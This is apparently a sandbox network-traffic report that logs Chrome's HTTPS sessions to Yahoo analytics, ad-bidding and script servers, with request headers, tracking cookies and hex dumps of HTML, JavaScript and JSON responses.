2024-01-10 23:27:14 UTC	1300	IN	Data Raw: cb 0d 20 32 d6 03 9b 30 2e 3c f2 ba bd 9b 63 f2 86 32 57 f7 32 6e 0e 3f 23 6e 4d 24 c5 0f 48 05 ca b5 33 4b 93 89 5d b2 8d 4d 8f 36 67 fe 2d 66 bf 3b 33 e0 65 a2 d4 78 e1 0f d4 b6 70 2e bd d1 35 e6 a7 85 df f6 fe f7 e4 4d e8 27 37 05 6c b5 1d 24 60 28 1d 8d c8 54 23 15 42 e8 d6 71 ba b7 4e 17 e2 da 31 93 33 fb 27 09 5a 87 72 22 6a af d5 18 b1 38 f5 3f a0 fc 74 f6 df fb c4 4b 44 30 61 cb 66 13 73 25 0e d1 5a 26 0b b1 c0 69 2d 27 50 3b 89 b9 c5 9a c6 ed d9 22 64 6b ef 7d 5d 67 8f 2c f2 88 fc 84 7b d8 dc 88 69 a6 f7 16 9d f6 2d d4 c1 fc 03 91 bf 61 b0 91 1f 48 95 65 14 8c 5b a2 98 f2 07 0c 64 83 8c 18 c1 27 61 95 14 42 7e 2c 66 1b 9b ff f5 be d6 53 0d 36 e7 3e f2 cc 8e e4 84 7a 38 a4 9c 0f 22 a2 a7 3e 6c 5d 9e 4b a1 1f 7a 51 0e 84 24 56 5f 25 1e 71 f5 f4 38 Data Ascii: 20.<c2W2n?#nM$H3K]M6g-f;3exp.5M'7l$`(T#BqN13'Zr"j8?tKD0afs%Z&i-'P;"dk}]g,{i-aHe[d'aB~,fS6>z8">l]KzQ$V_%q8
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: ec c3 cd 0c 71 78 37 48 49 35 3c dc 44 ff a0 db cf 78 ae 53 f9 83 0f 8b 65 ef 87 e8 73 72 75 e3 c8 37 e3 44 32 46 e5 d0 38 a5 51 ad e7 b9 23 ea 12 3e 21 67 fd 17 86 7f ce 6e 32 10 19 95 28 af e2 f9 e6 02 bf 67 6c a0 f0 68 4f b7 0e 7a 34 03 95 7a c5 43 42 47 d0 ec 40 6f 4d e4 dd 55 dc bf 21 c8 13 77 6d ee a0 7d 4a 38 56 0a 97 36 ec 17 0b d7 79 01 6a 81 81 61 a2 d0 37 33 c0 d2 64 36 17 70 34 82 de 7a e0 4e 56 35 a7 39 21 ac 06 70 12 17 c6 8b 82 60 85 da 4c 15 06 56 3a c0 ea 0e ba 20 8a 95 2e 64 46 19 cb 2b 2e f6 f6 5d a8 45 43 0e 1a aa f8 7f e6 30 c6 8d 91 d7 61 16 8b ef 44 78 54 e5 96 dc c5 eb 44 97 47 fe 29 e7 a8 7e b3 03 da 38 43 ec 2e 4f 0d a7 e9 69 4f 54 ae 49 01 0b a0 fa 66 91 0c 86 ef 0b 00 44 ef 25 44 26 7b b0 df 26 dc 5a 79 40 14 21 c8 30 a1 1f c2 Data Ascii: qx7HI5<DxSesru7D2F8Q#>!gn2(glhOz4zCBG@oMU!wm}J8V6yja73d6p4zNV59!p`LV: .dF+.]EC0aDxTDG)~8C.OiOTIfD%D&{&Zy@!0
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 7d 71 74 9c 82 a0 36 e9 f5 48 56 92 c8 ea 51 f6 53 cd 44 35 29 9b 88 bb 36 18 87 fc bd ff 6a ea fc 9f 46 75 a4 25 7c 6d 39 91 ff 7c 57 0e ab f1 83 55 4a 8d 8f 10 3e 72 29 af f9 c3 94 49 b8 e2 fc d8 0d 22 3a 48 58 26 a9 a7 c7 e3 d1 74 98 c9 dc 58 2e f8 28 92 af 45 ce 8f 51 74 40 9a 10 0f e0 4b 04 04 04 9c 90 c1 a0 5a 62 cb 56 1b 3d 5a 4a e9 0e 95 f0 01 13 5d f9 4e fe b2 3b 38 15 54 61 36 27 aa 23 19 3f 64 76 3c 0e 37 a6 24 eb 63 9b d2 e4 54 17 62 a8 18 17 49 98 7d 51 40 ff b6 1c 1d 81 c2 af 9a 87 05 56 3f 3b b0 a2 b1 35 13 a0 2e d3 1d 73 6a 50 dd b6 3b 66 59 25 27 51 c5 4a 2a 50 d6 65 24 a1 60 38 08 99 16 25 a8 c7 92 07 db a3 82 7b 07 17 d4 c0 4d c7 df da 62 d8 64 9d d8 b0 b2 a3 0e be d8 06 1f 41 ae a0 0b 84 21 fb 04 8f 6c 96 41 e0 30 7d 80 69 82 a3 80 5f Data Ascii: }qt6HVQSD5)6jFu%\|m9\|WUJ>r)I":HX&tX.(EQt@KZbV=ZJ]N;8Ta6'#?dv<7$cTbI}Q@V?;5.sjP;fY%'QJ*Pe$`8%{MbdA!lA0}i_
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 42 82 92 9a 7d 65 2d 0e cb 11 47 73 d6 f5 8f 64 51 a3 d5 8d a2 95 d6 e3 3c 5f 55 0d 63 29 7d 46 3e 8f d7 fc 3d 22 b5 89 4c 42 ef 3a 85 52 79 91 66 84 11 cb 44 d6 66 b5 1f b8 d1 90 3f dc 04 c4 cf 79 c3 3a d9 09 c6 c6 62 31 be 00 a2 bc 1a 69 f6 f3 39 e9 f2 57 88 c8 f7 d2 2b 20 06 30 76 ad 23 95 7c 24 d5 b7 81 08 ba 3f 34 da 75 5e 70 aa 01 f2 c3 2a 2e e7 44 2b aa 4e ca e3 09 e3 44 11 f5 5e cd 6c 23 b5 14 1d e4 b4 1e 9e e9 d4 16 af 74 98 6e 7d 3c ea 31 7a fa 20 fa 18 db ae f7 3e 89 34 2c a7 5d 7b a4 a4 6f 00 00 b6 a9 28 bd 88 d5 44 e5 ca d2 a9 96 36 92 07 6d ad 13 a9 a7 e1 87 18 33 17 f9 7e 7e 8a 42 a2 7c 6a 02 03 a3 80 a9 7d 7d 2f 2e bb 01 cd f0 0f 3a 1f 58 8a 07 0f 8e d8 c3 b0 fd 7c ee d8 46 2b df 25 0c bf 29 9a d7 75 fe ea c7 e7 84 ac 17 ad f7 c6 68 18 58 Data Ascii: B}e-GsdQ<_Uc)}F>="LB:RyfDf?y:b1i9W+ 0v#\|$?4u^p*.D+ND^l#tn}<1z >4,]{o(D6m3~~B\|j}}/.:X\|F+%)uhX
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: f7 e9 f3 e5 5c 25 8f 36 49 f8 e2 96 a8 a2 ad 86 48 6e 5c 0c ea f3 85 f9 97 db e8 17 e6 6e 8f a1 10 4b 57 3e fa d4 35 31 af 8a 7c 6e b6 cf f2 54 93 45 be b7 49 c1 c0 30 19 7a 4b b7 be be d8 c2 b5 3e 0f 93 86 9f fc d3 1d 99 a5 7b 4b 69 d8 de 77 49 63 c6 67 5b 94 5b a0 69 e6 a4 25 a0 7d 21 b5 80 b2 c0 1c 84 31 b6 0e 07 cb a3 bd 55 58 c4 2e a5 86 ef 8f 7e 06 88 fc 75 df d3 1b 87 67 07 03 0a e7 09 07 dd 7f f0 02 dc 4d 18 86 96 d1 8c 01 25 08 c8 06 63 c3 72 f4 f0 fc 41 48 d4 b2 e7 49 90 cd c8 a8 9b f1 a4 1d 44 57 0d eb f6 b0 e1 0d ad 16 bf e8 f9 0e 56 a5 20 33 26 49 94 8d f8 3b 85 4f f4 4d 2e e7 5f b3 f0 aa 82 24 1b c5 d7 a9 58 27 08 2d 88 ec cb 16 21 ef 1a cd 63 94 73 8c 9a 74 0c 61 93 76 2f aa 25 18 f6 96 4a 2c ed d2 00 8b 42 3f a1 a6 c6 24 2c 83 31 c8 d9 24 Data Ascii: \%6IHn\nKW>51\|nTEI0zK>{KiwIcg[[i%}!1UX.~ugM%crAHIDWV 3&I;OM._$X'-!cstav/%J,B?$,1$
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: fd 62 02 cd 33 36 ca 81 a1 01 8d 25 ce 31 95 c1 f3 90 2c 47 b7 12 a4 bb c8 d1 01 2d ca ae 7a 94 7c 3b 20 61 80 9d bf 89 a0 27 7a 45 06 61 bf 62 fd 5b 19 c7 99 bb b0 27 27 e3 c0 bb 98 10 b4 77 21 17 01 05 d7 fd d5 64 64 e1 21 a7 44 27 8a 70 7f b2 95 2f 2d 15 6c e5 84 7e 6e 5a 66 8b 00 32 0e 47 26 aa 3b 20 01 c3 f1 9c 88 f1 dd 2d 27 8d 52 20 36 a0 a9 d5 68 29 9b 76 e3 13 78 25 7b d7 c9 32 0a d3 ce 42 f5 e0 b8 a1 b5 26 2b e1 d6 df d7 71 e9 d3 c9 e1 d7 a2 f0 79 35 ed 0d 7f 77 d4 b7 20 7f b1 97 e4 9b c1 08 02 09 ce 20 11 fa 4b b5 c2 a5 64 a6 aa 9c 65 08 ad 7f 3a ea 8c b7 97 25 59 7e 84 be dc 2e 4d 01 62 ba 69 62 d9 df 2b a7 a8 44 62 73 36 ea 29 d8 a2 b5 0a 83 80 0e cd c2 5e 9f 5e d1 36 db 4e 00 97 bf 91 60 b4 80 f9 9d be 9d 54 71 ec 98 ef 63 d3 78 d3 a2 41 5f Data Ascii: b36%1,G-z\|; a'zEab[''w!dd!D'p/-l~nZf2G&; -'R 6h)vx%{2B&+qy5w Kde:%Y~.Mbib+Dbs6)^^6N`TqcxA_
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: d2 2c 1e 6d e7 29 61 b5 25 06 8f b4 d8 a7 8f bb 9e 81 30 43 f2 38 41 9b e6 6e 09 2f 95 e6 9c f4 2f e9 17 f4 19 88 f9 4d 39 b3 2c a9 47 c8 a9 2c 88 07 8e 8e 53 dd 2d dc 67 f2 35 23 ca 00 f9 3f 3b fd c6 ca 85 dc 28 86 95 40 2f 90 52 23 0f 84 ac 77 7c cc 30 19 ba 1a ab ec 0e 6d 74 7f 66 56 db d5 3a 36 f2 6b d3 cf b5 7a 99 ad 15 7a 0e 48 b8 ce 7a 21 df 45 e0 cf 7c 16 b8 ef aa bd 05 83 68 92 ed d6 cb 3e bf dd 07 7a 9b 17 4b 04 45 ec 2e 91 85 aa f3 8f 41 ff c1 2c 56 0a 95 9a 0e 7b 27 0a b0 11 9a ad a5 ba 8e b0 58 0b cb b6 ea 0a 1f 6e 97 87 71 c9 09 f4 f8 c5 e5 05 43 1d 66 f4 26 3b 6b c8 04 fb 2a 9c cc 32 32 d7 d2 1c 9d fa a9 60 14 ec ce 7c 4f 6e 81 aa 61 58 89 1c f3 ca 74 01 4d 01 40 ac 41 f2 b5 5e 61 ea c2 5e a5 c3 79 15 0b a1 39 0f 69 88 b5 3f f5 3c af c8 1f Data Ascii: ,m)a%0C8An//M9,G,S-g5#?;(@/R#w\|0mtfV:6kzzHz!E\|h>zKE.A,V{'XnqCf&;k*22`\|OnaXtM@A^a^y9i?<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	49918	152.199.24.48	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	1718	OUT	GET /tag/opus-frame.html?referrer=https%3A%2F%2Fwww.yahoo.com%2F&tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51&gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&axids=gam%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26dv360%3DeS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B%26ydsp%3Dy-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN&reset_idsync=1 HTTP/1.1 Host: opus.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; IDSYNC="19cw~2g3z:19e0~2g3z:19e7~2g3z"; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:14 UTC	548	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 204008 Content-Security-Policy: default-src https:; script-src https: 'unsafe-inline'; style-src https: 'unsafe-inline' Content-Type: text/html Date: Wed, 10 Jan 2024 23:27:14 GMT Etag: "4b9f5e8b9797756c71ce040ea529970e" Last-Modified: Mon, 11 Dec 2023 14:45:38 GMT Server: ECAcc (dcd/7D6C) Vary: Accept-Encoding x-amz-id-2: 0LlvpzNl+bIQfo4Do8wVGQozER4KTxRpPn8ZOANSQBHiNCy0JYUAwYlu3+TjmM4lLR1ilw+ZPEY= x-amz-request-id: J5HQ1Q30W0TSJH7T X-Cache: HIT Content-Length: 8949 Connection: close
2024-01-10 23:27:14 UTC	8949	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 Data Ascii: <!DOCTYPE html><html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="viewport" content="width=device-width,initial-scale=1"></head><body><script t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.4	49925	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	526	OUT	GET /aaq/vzm/cs_1.5.1.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	851	IN	HTTP/1.1 200 OK x-amz-id-2: dQRsw6mFYouehWeqIpK2wgBJIxPDSyn7XDMI1iv6awmvyNrlcFctv//Ea5yfL/SIdQmhr6sHUvw= x-amz-request-id: MKHC5M8Z1WHNEM7T Date: Wed, 10 Jan 2024 22:58:07 GMT Last-Modified: Tue, 19 Sep 2023 22:24:21 GMT ETag: "79a0874b52c0c38add16385eb1a694e7" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: kNkmKOe52Bavmn2ePx9bBmv8ukXmrtvT Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 1240 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1748 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:14 UTC	1240	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 63 3d 77 69 6e 64 6f 77 2c 65 3d 63 2e 64 6f 63 75 6d 65 6e 74 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 6e 2c 74 2c 72 29 7b 69 66 28 21 65 7c 7c 21 6e 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 63 5b 65 5d 29 72 65 74 75 72 6e 20 72 28 29 3b 74 72 79 7b 63 5b 65 5d 28 6e 2c 74 2c 28 66 75 6e 63 74 69 6f 6e 28 63 2c 65 29 7b 72 28 63 2c 65 29 7d 29 29 7d 63 61 74 63 68 28 63 29 7b 72 28 29 7d 7d 63 2e 43 4f 4d 53 43 4f 52 45 3d 7b 5f 76 65 72 73 69 6f 6e 3a 22 31 2e 35 2e 31 22 2c 62 65 61 63 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6e 28 22 5f 5f 75 73 70 61 70 69 22 2c 22 67 65 74 44 6f 4e 6f 74 53 65 6c 6c 22 2c 31 2c 28 66 75 6e 63 74 69 6f Data Ascii: !function(){"use strict";var c=window,e=c.document;function n(e,n,t,r){if(!e\|\|!n\|\|"function"!=typeof c[e])return r();try{c[e](n,t,(function(c,e){r(c,e)}))}catch(c){r()}}c.COMSCORE={_version:"1.5.1",beacon:function(t){n("__uspapi","getDoNotSell",1,(functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	49933	3.92.156.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	545	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	373	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:14 GMT Content-Length: 0 Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Headers: X-Requested-With,Content-Type,X-Openrtb-Version Access-Control-Allow-Credentials: true Access-Control-Max-Age: 600 Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	49931	3.92.156.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	545	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	373	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:14 GMT Content-Length: 0 Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Headers: X-Requested-With,Content-Type,X-Openrtb-Version Access-Control-Allow-Credentials: true Access-Control-Max-Age: 600 Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	49939	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	1314	OUT	POST /fp_ms/_rcv/remote?ctrl=NativeAd&m_id=react-wafer-nativeAd&rid=0gast8pipu9uc&m_mode=json&designtype=default HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Content-Length: 582 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:14 UTC	582	OUT	Data Raw: 7b 22 62 75 63 6b 65 74 22 3a 22 64 72 6f 70 5f 68 65 69 6d 64 61 6c 6c 5f 68 6f 6d 65 70 61 67 65 5f 63 6f 6e 74 72 6f 6c 5f 62 75 63 6b 65 74 2c 4d 69 6d 69 63 50 72 6f 76 69 64 65 72 4c 69 73 74 76 32 2d 63 6f 70 79 2c 73 65 61 6d 6c 65 73 73 22 2c 22 63 74 72 6c 22 3a 22 4e 61 74 69 76 65 41 64 22 2c 22 64 65 76 69 63 65 22 3a 22 64 65 73 6b 74 6f 70 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 6d 5f 69 64 22 3a 22 72 65 61 63 74 2d 77 61 66 65 72 2d 6e 61 74 69 76 65 41 64 22 2c 22 6d 5f 6d 6f 64 65 22 3a 22 6a 73 6f 6e 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 73 69 74 65 22 3a 22 66 70 22 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 69 74 65 6d 73 22 3a 5b 7b 22 63 6f 6e 66 69 67 22 3a 7b 22 64 61 74 61 59 6c 6b 53 74 72 22 3a 22 62 70 6f Data Ascii: {"bucket":"drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless","ctrl":"NativeAd","device":"desktop","lang":"en-US","m_id":"react-wafer-nativeAd","m_mode":"json","region":"US","site":"fp","config":{"items":[{"config":{"dataYlkStr":"bpo
2024-01-10 23:27:14 UTC	1259	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 content-type: application/json; charset=utf-8 status-code: 200 x-app-version: 1.0.36844 x-applet-version: 1.0.36844 x-applet-id: react-wafer-nativeAd vary: Accept-Encoding date: Wed, 10 Jan 2024 23:27:14 GMT x-envoy-upstream-service-time: 242 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=4u2rcc5ipu9ui&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 35 32 35 30 0d 0a 7b 22 61 73 73 65 74 73 22 3a 7b 22 63 73 73 22 3a 5b 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 63 70 72 6f 70 73 2f 63 6f 6c 6f 72 73 5f 31 2e 31 2e 32 37 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e 61 6d 65 22 3a 22 63 75 73 74 6f 6d 2d 70 72 6f 70 65 72 74 69 65 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 32 37 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 66 70 2f 63 73 73 2f 72 65 61 63 74 2d 77 61 66 65 72 2d 6e 61 74 69 76 65 41 64 2e 4e 61 74 69 76 65 41 64 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 35 63 33 39 61 39 38 34 33 38 30 37 63 31 65 39 61 65 65 35 61 62 31 33 38 62 64 30 64 64 64 39 2e 6d 69 6e 2e 63 73 73 22 2c Data Ascii: 5250{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-nativeAd.NativeAd.atomic.ltr.5c39a9843807c1e9aee5ab138bd0ddd9.min.css",
2024-01-10 23:27:14 UTC	224	IN	Data Raw: 74 74 6f 6d 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 63 61 61 73 2d 31 2e 33 35 2e 34 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 22 6e 61 6d 65 22 3a 22 77 61 66 65 72 2d 63 61 61 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 33 35 2e 34 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 62 6f 74 74 6f 6d 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6e 61 74 69 76 65 2d 64 61 2d 31 2e 30 2e 33 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 22 6e 61 6d 65 22 3a 22 77 61 66 65 72 2d 6e 61 74 69 76 65 2d 64 61 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 30 2e 33 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 62 6f 74 74 6f 6d 22 2c 22 76 Data Ascii: ttom","value":"/aaq/wf/wf-caas-1.35.4-modern.js","name":"wafer-caas","version":"1.35.4"},{"location":"bottom","value":"/aaq/wf/wf-native-da-1.0.3-modern.js","name":"wafer-native-da","version":"1.0.3"},{"location":"bottom","v
